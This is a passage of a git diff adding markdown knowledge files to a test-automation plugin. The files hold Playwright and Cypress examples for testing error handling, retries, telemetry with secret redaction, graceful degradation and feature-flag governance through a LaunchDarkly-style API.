+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Persistent server error' }),
+      });
+    });
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Max retries reached (3 attempts typical)
+    expect(attemptCount).toBe(3);
+
+    // Assert: Error UI displayed after exhausting retries
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/unable.*load|failed.*after.*retries/i);
+
+    // Assert: Data not displayed
+    await expect(page.getByTestId('product-list')).not.toBeVisible();
+  });
+
+  test('should NOT retry on 404 (non-retryable error)', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: 404 error (should NOT retry)
+    await page.route('**/api/products/999', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 404,
+        body: JSON.stringify({ error: 'Product not found' }),
+      });
+    });
+
+    await page.goto('/products/999');
+
+    // Assert: Only 1 attempt (no retries on 404)
+    expect(attemptCount).toBe(1);
+
+    // Assert: 404 error displayed immediately
+    await expect(page.getByTestId('not-found-message')).toBeVisible();
+  });
+});
+```
+
+**Cypress with retry interception**:
+
+```javascript
+// cypress/e2e/retry-resilience.cy.ts
+describe('Network Retry Logic', () => {
+  it('should retry on 500 and succeed on 3rd attempt', () => {
+    let attemptCount = 0;
+
+    cy.intercept('GET', '**/api/products', (req) => {
+      attemptCount++;
+
+      if (attemptCount <= 2) {
+        req.reply({ statusCode: 500, body: { error: 'Server error' } });
+      } else {
+        req.reply({ statusCode: 200, body: { products: [{ id: 1, name: 'Product 1' }] } });
+      }
+    }).as('getProducts');
+
+    cy.visit('/products');
+
+    // Wait for final successful request
+    cy.wait('@getProducts').its('response.statusCode').should('eq', 200);
+
+    // Assert: Data loaded
+    cy.get('[data-cy="product-list"]').should('be.visible');
+    cy.get('[data-cy="product-item"]').should('have.length', 1);
+
+    // Validate retry count
+    cy.wrap(attemptCount).should('eq', 3);
+  });
+});
+```
+
+**Key Points**:
+
+- **Sequential failures**: Test retry logic with 500 → 500 → 200
+- **Backoff timing**: Validate exponential backoff delays
+- **Retry limits**: Max attempts enforced (typically 3)
+- **Non-retryable errors**: 404s don't trigger retries
+- **Telemetry**: Log retry attempts for monitoring
+
+---
+
+### Example 3: Telemetry Logging with Context (Sentry Integration)
+
+**Context**: Capture errors with full context for production debugging without exposing secrets.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/telemetry-logging.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Telemetry Logging Pattern
+ * - Log errors with request context
+ * - Redact sensitive data (tokens, passwords, PII)
+ * - Integrate with monitoring (Sentry, Datadog)
+ * - Validate error logging without exposing secrets
+ */
+
+type ErrorLog = {
+  level: 'error' | 'warn' | 'info';
+  message: string;
+  context?: {
+    endpoint?: string;
+    method?: string;
+    statusCode?: number;
+    userId?: string;
+    sessionId?: string;
+  };
+  timestamp: string;
+};
+
+test.describe('Error Telemetry', () => {
+  test('should log API errors with context', async ({ page }) => {
+    const errorLogs: ErrorLog[] = [];
+
+    // Capture console errors
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') {
+        try {
+          const log = JSON.parse(msg.text());
+          errorLogs.push(log);
+        } catch {
+          // Not a structured log, ignore
+        }
+      }
+    });
+
+    // Mock failing API
+    await page.route('**/api/orders', (route) =>
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Payment processor unavailable' }),
+      }),
+    );
+
+    // Act: Trigger error
+    await page.goto('/checkout');
+    await page.getByTestId('place-order').click();
+
+    // Wait for error UI
+    await expect(page.getByTestId('error-message')).toBeVisible();
+
+    // Assert: Error logged with context
+    expect(errorLogs).toContainEqual(
+      expect.objectContaining({
+        level: 'error',
+        message: expect.stringContaining('API request failed'),
+        context: expect.objectContaining({
+          endpoint: '/api/orders',
+          method: 'POST',
+          statusCode: 500,
+          userId: expect.any(String),
+        }),
+      }),
+    );
+
+    // Assert: Sensitive data NOT logged
+    const logString = JSON.stringify(errorLogs);
+    expect(logString).not.toContain('password');
+    expect(logString).not.toContain('token');
+    expect(logString).not.toContain('creditCard');
+  });
+
+  test('should send errors to Sentry with breadcrumbs', async ({ page }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK
+    await page.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error, context?: any) => {
+          (window as any).__SENTRY_EVENTS__ = (window as any).__SENTRY_EVENTS__ || [];
+          (window as any).__SENTRY_EVENTS__.push({
+            error: error.message,
+            context,
+            timestamp: Date.now(),
+          });
+        },
+        addBreadcrumb: (breadcrumb: any) => {
+          (window as any).__SENTRY_BREADCRUMBS__ = (window as any).__SENTRY_BREADCRUMBS__ || [];
+          (window as any).__SENTRY_BREADCRUMBS__.push(breadcrumb);
+        },
+      };
+    });
+
+    // Mock failing API
+    await page.route('**/api/users', (route) => route.fulfill({ status: 403, body: { error: 'Forbidden' } }));
+
+    // Act
+    await page.goto('/users');
+
+    // Assert: Sentry captured error
+    const events = await page.evaluate(() => (window as any).__SENTRY_EVENTS__);
+    expect(events).toHaveLength(1);
+    expect(events[0]).toMatchObject({
+      error: expect.stringContaining('403'),
+      context: expect.objectContaining({
+        endpoint: '/api/users',
+        statusCode: 403,
+      }),
+    });
+
+    // Assert: Breadcrumbs include user actions
+    const breadcrumbs = await page.evaluate(() => (window as any).__SENTRY_BREADCRUMBS__);
+    expect(breadcrumbs).toContainEqual(
+      expect.objectContaining({
+        category: 'navigation',
+        message: '/users',
+      }),
+    );
+  });
+});
+```
+
+**Cypress with Sentry**:
+
+```javascript
+// cypress/e2e/telemetry-logging.cy.ts
+describe('Error Telemetry', () => {
+  it('should log API errors with redacted sensitive data', () => {
+    const errorLogs = [];
+
+    // Capture console errors
+    cy.on('window:before:load', (win) => {
+      cy.stub(win.console, 'error').callsFake((msg) => {
+        errorLogs.push(msg);
+      });
+    });
+
+    // Mock failing API
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Payment failed' },
+    });
+
+    // Act
+    cy.visit('/checkout');
+    cy.get('[data-cy="place-order"]').click();
+
+    // Assert: Error logged
+    cy.wrap(errorLogs).should('have.length.greaterThan', 0);
+
+    // Assert: Context included
+    cy.wrap(errorLogs[0]).should('include', '/api/orders');
+
+    // Assert: Secrets redacted
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'password');
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'creditCard');
+  });
+});
+```
+
+**Error logger utility with redaction**:
+
+```typescript
+// src/utils/error-logger.ts
+type ErrorContext = {
+  endpoint?: string;
+  method?: string;
+  statusCode?: number;
+  userId?: string;
+  sessionId?: string;
+  requestPayload?: any;
+};
+
+const SENSITIVE_KEYS = ['password', 'token', 'creditCard', 'ssn', 'apiKey'];
+
+/**
+ * Redact sensitive data from objects
+ */
+function redactSensitiveData(obj: any): any {
+  if (typeof obj !== 'object' || obj === null) return obj;
+
+  const redacted = { ...obj };
+
+  for (const key of Object.keys(redacted)) {
+    if (SENSITIVE_KEYS.some((sensitive) => key.toLowerCase().includes(sensitive))) {
+      redacted[key] = '[REDACTED]';
+    } else if (typeof redacted[key] === 'object') {
+      redacted[key] = redactSensitiveData(redacted[key]);
+    }
+  }
+
+  return redacted;
+}
+
+/**
+ * Log error with context (Sentry integration)
+ */
+export function logError(error: Error, context?: ErrorContext) {
+  const safeContext = context ? redactSensitiveData(context) : {};
+
+  const errorLog = {
+    level: 'error' as const,
+    message: error.message,
+    stack: error.stack,
+    context: safeContext,
+    timestamp: new Date().toISOString(),
+  };
+
+  // Console (development)
+  console.error(JSON.stringify(errorLog));
+
+  // Sentry (production)
+  if (typeof window !== 'undefined' && (window as any).Sentry) {
+    (window as any).Sentry.captureException(error, {
+      contexts: { custom: safeContext },
+    });
+  }
+}
+```
+
+**Key Points**:
+
+- **Context-rich logging**: Endpoint, method, status, user ID
+- **Secret redaction**: Passwords, tokens, PII removed before logging
+- **Sentry integration**: Production monitoring with breadcrumbs
+- **Structured logs**: JSON format for easy parsing
+- **Test validation**: Assert logs contain context but not secrets
+
+---
+
+### Example 4: Graceful Degradation Tests (Fallback Behavior)
+
+**Context**: Validate application continues functioning when services are unavailable.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/graceful-degradation.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Graceful Degradation Pattern
+ * - Simulate service unavailability
+ * - Validate fallback behavior
+ * - Ensure user experience degrades gracefully
+ * - Verify telemetry captures degradation events
+ */
+
+test.describe('Service Unavailability', () => {
+  test('should display cached data when API is down', async ({ page }) => {
+    // Arrange: Seed localStorage with cached data
+    await page.addInitScript(() => {
+      localStorage.setItem(
+        'products_cache',
+        JSON.stringify({
+          data: [
+            { id: 1, name: 'Cached Product 1' },
+            { id: 2, name: 'Cached Product 2' },
+          ],
+          timestamp: Date.now(),
+        }),
+      );
+    });
+
+    // Mock API unavailable
+    await page.route(
+      '**/api/products',
+      (route) => route.abort('connectionrefused'), // Simulate server down
+    );
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Cached data displayed
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByText('Cached Product 1')).toBeVisible();
+
+    // Assert: Stale data warning shown
+    await expect(page.getByTestId('cache-warning')).toBeVisible();
+    await expect(page.getByTestId('cache-warning')).toContainText(/showing.*cached|offline.*mode/i);
+
+    // Assert: Retry button available
+    await expect(page.getByTestId('refresh-button')).toBeVisible();
+  });
+
+  test('should show fallback UI when analytics service fails', async ({ page }) => {
+    // Mock analytics service down (non-critical)
+    await page.route('**/analytics/track', (route) => route.fulfill({ status: 503, body: 'Service unavailable' }));
+
+    // Act: Navigate normally
+    await page.goto('/dashboard');
+
+    // Assert: Page loads successfully (analytics failure doesn't block)
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+
+    // Assert: Analytics error logged but not shown to user
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+
+    // Trigger analytics event
+    await page.getByTestId('track-action-button').click();
+
+    // Analytics error logged
+    expect(consoleErrors).toContainEqual(expect.stringContaining('Analytics service unavailable'));
+
+    // But user doesn't see error
+    await expect(page.getByTestId('error-message')).not.toBeVisible();
+  });
+
+  test('should fallback to local validation when API is slow', async ({ page }) => {
+    // Mock slow API (> 5 seconds)
+    await page.route('**/api/validate-email', async (route) => {
+      await new Promise((resolve) => setTimeout(resolve, 6000)); // 6 second delay
+      route.fulfill({
+        status: 200,
+        body: JSON.stringify({ valid: true }),
+      });
+    });
+
+    // Act: Fill form
+    await page.goto('/signup');
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('email-input').blur();
+
+    // Assert: Client-side validation triggers immediately (doesn't wait for API)
+    await expect(page.getByTestId('email-valid-icon')).toBeVisible({ timeout: 1000 });
+
+    // Assert: Eventually API validates too (but doesn't block UX)
+    await expect(page.getByTestId('email-validated-badge')).toBeVisible({ timeout: 7000 });
+  });
+
+  test('should maintain functionality with third-party script failure', async ({ page }) => {
+    // Block third-party scripts (Google Analytics, Intercom, etc.)
+    await page.route('**/*.google-analytics.com/**', (route) => route.abort());
+    await page.route('**/*.intercom.io/**', (route) => route.abort());
+
+    // Act
+    await page.goto('/');
+
+    // Assert: App works without third-party scripts
+    await expect(page.getByTestId('main-content')).toBeVisible();
+    await expect(page.getByTestId('nav-menu')).toBeVisible();
+
+    // Assert: Core functionality intact
+    await page.getByTestId('nav-products').click();
+    await expect(page).toHaveURL(/.*\/products/);
+  });
+});
+```
+
+**Key Points**:
+
+- **Cached fallbacks**: Display stale data when API unavailable
+- **Non-critical degradation**: Analytics failures don't block app
+- **Client-side fallbacks**: Local validation when API slow
+- **Third-party resilience**: App works without external scripts
+- **User transparency**: Stale data warnings displayed
+
+---
+
+## Error Handling Testing Checklist
+
+Before shipping error handling code, verify:
+
+- [ ] **Scoped exception handling**: Only ignore documented errors (NetworkError, specific codes)
+- [ ] **Rethrow unexpected**: Unknown errors fail tests (catch regressions)
+- [ ] **Error UI tested**: User sees error messages for all error states
+- [ ] **Retry logic validated**: Sequential failures test backoff and max attempts
+- [ ] **Telemetry verified**: Errors logged with context (endpoint, status, user)
+- [ ] **Secret redaction**: Logs don't contain passwords, tokens, PII
+- [ ] **Graceful degradation**: Critical services down, app shows fallback UI
+- [ ] **Non-critical failures**: Analytics/tracking failures don't block app
+
+## Integration Points
+
+- Used in workflows: `*automate` (error handling test generation), `*test-review` (error pattern detection)
+- Related fragments: `network-first.md`, `test-quality.md`, `contract-testing.md`
+- Monitoring tools: Sentry, Datadog, LogRocket
+
+_Source: Murat error-handling patterns, Pact resilience guidance, enterprise production error handling_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/feature-flags.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/feature-flags.md
new file mode 100644
index 0000000..2b8a458
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/feature-flags.md
@@ -0,0 +1,750 @@
+# Feature Flag Governance
+
+## Principle
+
+Feature flags enable controlled rollouts and A/B testing, but require disciplined testing governance. Centralize flag definitions in a frozen enum, test both enabled and disabled states, clean up targeting after each spec, and maintain a comprehensive flag lifecycle checklist. For LaunchDarkly-style systems, script API helpers to seed variations programmatically rather than manual UI mutations.
+
+## Rationale
+
+Poorly managed feature flags become technical debt: untested variations ship broken code, forgotten flags clutter the codebase, and shared environments become unstable from leftover targeting rules. Structured governance ensures flags are testable, traceable, temporary, and safe. Testing both states prevents surprises when flags flip in production.
+
+## Pattern Examples
+
+### Example 1: Feature Flag Enum Pattern with Type Safety
+
+**Context**: Centralized flag management with TypeScript type safety and runtime validation.
+
+**Implementation**:
+
+```typescript
+// src/utils/feature-flags.ts
+/**
+ * Centralized feature flag definitions
+ * - Object.freeze prevents runtime modifications
+ * - TypeScript ensures compile-time type safety
+ * - Single source of truth for all flag keys
+ */
+export const FLAGS = Object.freeze({
+  // User-facing features
+  NEW_CHECKOUT_FLOW: 'new-checkout-flow',
+  DARK_MODE: 'dark-mode',
+  ENHANCED_SEARCH: 'enhanced-search',
+
+  // Experiments
+  PRICING_EXPERIMENT_A: 'pricing-experiment-a',
+  HOMEPAGE_VARIANT_B: 'homepage-variant-b',
+
+  // Infrastructure
+  USE_NEW_API_ENDPOINT: 'use-new-api-endpoint',
+  ENABLE_ANALYTICS_V2: 'enable-analytics-v2',
+
+  // Killswitches (emergency disables)
+  DISABLE_PAYMENT_PROCESSING: 'disable-payment-processing',
+  DISABLE_EMAIL_NOTIFICATIONS: 'disable-email-notifications',
+} as const);
+
+/**
+ * Type-safe flag keys
+ * Prevents typos and ensures autocomplete in IDEs
+ */
+export type FlagKey = (typeof FLAGS)[keyof typeof FLAGS];
+
+/**
+ * Flag metadata for governance
+ */
+type FlagMetadata = {
+  key: FlagKey;
+  name: string;
+  owner: string;
+  createdDate: string;
+  expiryDate?: string;
+  defaultState: boolean;
+  requiresCleanup: boolean;
+  dependencies?: FlagKey[];
+  telemetryEvents?: string[];
+};
+
+/**
+ * Flag registry with governance metadata
+ * Used for flag lifecycle tracking and cleanup alerts
+ */
+export const FLAG_REGISTRY: Record<FlagKey, FlagMetadata> = {
+  [FLAGS.NEW_CHECKOUT_FLOW]: {
+    key: FLAGS.NEW_CHECKOUT_FLOW,
+    name: 'New Checkout Flow',
+    owner: 'payments-team',
+    createdDate: '2025-01-15',
+    expiryDate: '2025-03-15',
+    defaultState: false,
+    requiresCleanup: true,
+    dependencies: [FLAGS.USE_NEW_API_ENDPOINT],
+    telemetryEvents: ['checkout_started', 'checkout_completed'],
+  },
+  [FLAGS.DARK_MODE]: {
+    key: FLAGS.DARK_MODE,
+    name: 'Dark Mode UI',
+    owner: 'frontend-team',
+    createdDate: '2025-01-10',
+    defaultState: false,
+    requiresCleanup: false, // Permanent feature toggle
+  },
+  // ... rest of registry
+};
+
+/**
+ * Validate flag exists in registry
+ * Throws at runtime if flag is unregistered
+ */
+export function validateFlag(flag: string): asserts flag is FlagKey {
+  if (!Object.values(FLAGS).includes(flag as FlagKey)) {
+    throw new Error(`Unregistered feature flag: ${flag}`);
+  }
+}
+
+/**
+ * Check if flag is expired (needs removal)
+ */
+export function isFlagExpired(flag: FlagKey): boolean {
+  const metadata = FLAG_REGISTRY[flag];
+  if (!metadata.expiryDate) return false;
+
+  const expiry = new Date(metadata.expiryDate);
+  return Date.now() > expiry.getTime();
+}
+
+/**
+ * Get all expired flags requiring cleanup
+ */
+export function getExpiredFlags(): FlagMetadata[] {
+  return Object.values(FLAG_REGISTRY).filter((meta) => isFlagExpired(meta.key));
+}
+```
+
+**Usage in application code**:
+
+```typescript
+// components/Checkout.tsx
+import { FLAGS } from '@/utils/feature-flags';
+import { useFeatureFlag } from '@/hooks/useFeatureFlag';
+
+export function Checkout() {
+  const isNewFlow = useFeatureFlag(FLAGS.NEW_CHECKOUT_FLOW);
+
+  return isNewFlow ? <NewCheckoutFlow /> : <LegacyCheckoutFlow />;
+}
+```
+
+**Key Points**:
+
+- **Type safety**: TypeScript catches typos at compile time
+- **Runtime validation**: validateFlag ensures only registered flags used
+- **Metadata tracking**: Owner, dates, dependencies documented
+- **Expiry alerts**: Automated detection of stale flags
+- **Single source of truth**: All flags defined in one place
+
+---
+
+### Example 2: Feature Flag Testing Pattern (Both States)
+
+**Context**: Comprehensive testing of feature flag variations with proper cleanup.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-feature-flag.spec.ts
+import { test, expect } from '@playwright/test';
+import { FLAGS } from '@/utils/feature-flags';
+
+/**
+ * Feature Flag Testing Strategy:
+ * 1. Test BOTH enabled and disabled states
+ * 2. Clean up targeting after each test
+ * 3. Use dedicated test users (not production data)
+ * 4. Verify telemetry events fire correctly
+ */
+
+test.describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId: string;
+
+  test.beforeEach(async () => {
+    // Generate unique test user ID
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  test.afterEach(async ({ request }) => {
+    // CRITICAL: Clean up flag targeting to prevent shared env pollution
+    await request.post('/api/feature-flags/cleanup', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+      },
+    });
+  });
+
+  test('should use NEW checkout flow when flag is ENABLED', async ({ page, request }) => {
+    // Arrange: Enable flag for test user
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: true, // ENABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: New flow UI elements visible
+    await expect(page.getByTestId('checkout-v2-container')).toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).toBeVisible();
+    await expect(page.getByTestId('saved-addresses-dropdown')).toBeVisible();
+
+    // Assert: Legacy flow NOT visible
+    await expect(page.getByTestId('checkout-v1-container')).not.toBeVisible();
+
+    // Assert: Telemetry event fired
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'new_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should use LEGACY checkout flow when flag is DISABLED', async ({ page, request }) => {
+    // Arrange: Disable flag for test user (or don't target at all)
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: false, // DISABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Legacy flow UI elements visible
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+    await expect(page.getByTestId('legacy-payment-form')).toBeVisible();
+
+    // Assert: New flow NOT visible
+    await expect(page.getByTestId('checkout-v2-container')).not.toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).not.toBeVisible();
+
+    // Assert: Telemetry event fired with correct variant
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'legacy_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should handle flag evaluation errors gracefully', async ({ page, request }) => {
+    // Arrange: Simulate flag service unavailable
+    await page.route('**/api/feature-flags/evaluate', (route) => route.fulfill({ status: 500, body: 'Service Unavailable' }));
+
+    // Act: Navigate (should fallback to default state)
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Fallback to safe default (legacy flow)
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+
+    // Assert: Error logged but no user-facing error
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+    expect(consoleErrors).toContain(expect.stringContaining('Feature flag evaluation failed'));
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout-feature-flag.cy.ts
+import { FLAGS } from '@/utils/feature-flags';
+
+describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId;
+
+  beforeEach(() => {
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  afterEach(() => {
+    // Clean up targeting
+    cy.task('removeFeatureFlagTarget', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+    });
+  });
+
+  it('should use NEW checkout flow when flag is ENABLED', () => {
+    // Arrange: Enable flag via Cypress task
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: true,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v2-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v1-container"]').should('not.exist');
+  });
+
+  it('should use LEGACY checkout flow when flag is DISABLED', () => {
+    // Arrange: Disable flag
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: false,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v1-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v2-container"]').should('not.exist');
+  });
+});
+```
+
+**Key Points**:
+
+- **Test both states**: Enabled AND disabled variations
+- **Automatic cleanup**: afterEach removes targeting (prevent pollution)
+- **Unique test users**: Avoid conflicts with real user data
+- **Telemetry validation**: Verify analytics events fire correctly
+- **Graceful degradation**: Test fallback behavior on errors
+
+---
+
+### Example 3: Feature Flag Targeting Helper Pattern
+
+**Context**: Reusable helpers for programmatic flag control via LaunchDarkly/Split.io API.
+
+**Implementation**:
+
+```typescript
+// tests/support/feature-flag-helpers.ts
+import { request as playwrightRequest } from '@playwright/test';
+import { FLAGS, FlagKey } from '@/utils/feature-flags';
+
+/**
+ * LaunchDarkly API client configuration
+ * Use test project SDK key (NOT production)
+ */
+const LD_SDK_KEY = process.env.LD_SDK_KEY_TEST;
+const LD_API_BASE = 'https://app.launchdarkly.com/api/v2';
+
+type FlagVariation = boolean | string | number | object;
+
+/**
+ * Set flag variation for specific user
+ * Uses LaunchDarkly API to create user target
+ */
+export async function setFlagForUser(flagKey: FlagKey, userId: string, variation: FlagVariation): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.post(`${LD_API_BASE}/flags/${flagKey}/targeting`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        targets: [
+          {
+            values: [userId],
+            variation: variation ? 1 : 0, // 0 = off, 1 = on
+          },
+        ],
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set flag ${flagKey} for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Remove user from flag targeting
+ * CRITICAL for test cleanup
+ */
+export async function removeFlagTarget(flagKey: FlagKey, userId: string): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.delete(`${LD_API_BASE}/flags/${flagKey}/targeting/users/${userId}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+      },
+    }),
+  );
+
+  if (!response.ok() && response.status() !== 404) {
+    // 404 is acceptable (user wasn't targeted)
+    throw new Error(`Failed to remove flag ${flagKey} target for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Percentage rollout helper
+ * Enable flag for N% of users
+ */
+export async function setFlagRolloutPercentage(flagKey: FlagKey, percentage: number): Promise<void> {
+  if (percentage < 0 || percentage > 100) {
+    throw new Error('Percentage must be between 0 and 100');
+  }
+
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.patch(`${LD_API_BASE}/flags/${flagKey}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        rollout: {
+          variations: [
+            { variation: 0, weight: 100 - percentage }, // off
+            { variation: 1, weight: percentage }, // on
+          ],
+        },
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set rollout for flag ${flagKey}: ${response.status()}`);
+  }
+}
+
+/**
+ * Enable flag globally (100% rollout)
+ */
+export async function enableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 100);
+}
+
+/**
+ * Disable flag globally (0% rollout)
+ */
+export async function disableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 0);
+}
+
+/**
+ * Stub feature flags in local/test environments
+ * Bypasses LaunchDarkly entirely
+ */
+export function stubFeatureFlags(flags: Record<FlagKey, FlagVariation>): void {
+  // Set flags in localStorage or inject into window
+  if (typeof window !== 'undefined') {
+    (window as any).__STUBBED_FLAGS__ = flags;
+  }
+}
+```
+
+**Usage in Playwright fixture**:
+
+```typescript
+// playwright/fixtures/feature-flag-fixture.ts
+import { test as base } from '@playwright/test';
+import { setFlagForUser, removeFlagTarget } from '../support/feature-flag-helpers';
+import { FlagKey } from '@/utils/feature-flags';
+
+type FeatureFlagFixture = {
+  featureFlags: {
+    enable: (flag: FlagKey, userId: string) => Promise<void>;
+    disable: (flag: FlagKey, userId: string) => Promise<void>;
+    cleanup: (flag: FlagKey, userId: string) => Promise<void>;
+  };
+};
+
+export const test = base.extend<FeatureFlagFixture>({
+  featureFlags: async ({}, use) => {
+    const cleanupQueue: Array<{ flag: FlagKey; userId: string }> = [];
+
+    await use({
+      enable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, true);
+        cleanupQueue.push({ flag, userId });
+      },
+      disable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, false);
+        cleanupQueue.push({ flag, userId });
+      },
+      cleanup: async (flag, userId) => {
+        await removeFlagTarget(flag, userId);
+      },
+    });
+
+    // Auto-cleanup after test
+    for (const { flag, userId } of cleanupQueue) {
+      await removeFlagTarget(flag, userId);
+    }
+  },
+});
+```
+
+**Key Points**:
+
+- **API-driven control**: No manual UI clicks required
+- **Auto-cleanup**: Fixture tracks and removes targeting
+- **Percentage rollouts**: Test gradual feature releases
+- **Stubbing option**: Local development without LaunchDarkly
+- **Type-safe**: FlagKey prevents typos
+
+---
+
+### Example 4: Feature Flag Lifecycle Checklist & Cleanup Strategy
+
+**Context**: Governance checklist and automated cleanup detection for stale flags.
+
+**Implementation**:
+
+```typescript
+// scripts/feature-flag-audit.ts
+/**
+ * Feature Flag Lifecycle Audit Script
+ * Run weekly to detect stale flags requiring cleanup
+ */
+
+import { FLAG_REGISTRY, FLAGS, getExpiredFlags, FlagKey } from '../src/utils/feature-flags';
+import * as fs from 'fs';
+import * as path from 'path';
+
+type AuditResult = {
+  totalFlags: number;
+  expiredFlags: FlagKey[];
+  missingOwners: FlagKey[];
+  missingDates: FlagKey[];
+  permanentFlags: FlagKey[];
+  flagsNearingExpiry: FlagKey[];
+};
+
+/**
+ * Audit all feature flags for governance compliance
+ */
+function auditFeatureFlags(): AuditResult {
+  const allFlags = Object.keys(FLAG_REGISTRY) as FlagKey[];
+  const expiredFlags = getExpiredFlags().map((meta) => meta.key);
+
+  // Flags expiring in next 30 days
+  const thirtyDaysFromNow = Date.now() + 30 * 24 * 60 * 60 * 1000;
+  const flagsNearingExpiry = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    if (!meta.expiryDate) return false;
+    const expiry = new Date(meta.expiryDate).getTime();
+    return expiry > Date.now() && expiry < thirtyDaysFromNow;
+  });
+
+  // Missing metadata
+  const missingOwners = allFlags.filter((flag) => !FLAG_REGISTRY[flag].owner);
+  const missingDates = allFlags.filter((flag) => !FLAG_REGISTRY[flag].createdDate);
+
+  // Permanent flags (no expiry, requiresCleanup = false)
+  const permanentFlags = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    return !meta.expiryDate && !meta.requiresCleanup;
+  });
+
+  return {
+    totalFlags: allFlags.length,
+    expiredFlags,
+    missingOwners,
+    missingDates,
+    permanentFlags,
+    flagsNearingExpiry,
+  };
+}
+
+/**
+ * Generate markdown report
+ */
+function generateReport(audit: AuditResult): string {
+  let report = `# Feature Flag Audit Report\n\n`;
+  report += `**Date**: ${new Date().toISOString()}\n`;
+  report += `**Total Flags**: ${audit.totalFlags}\n\n`;
+
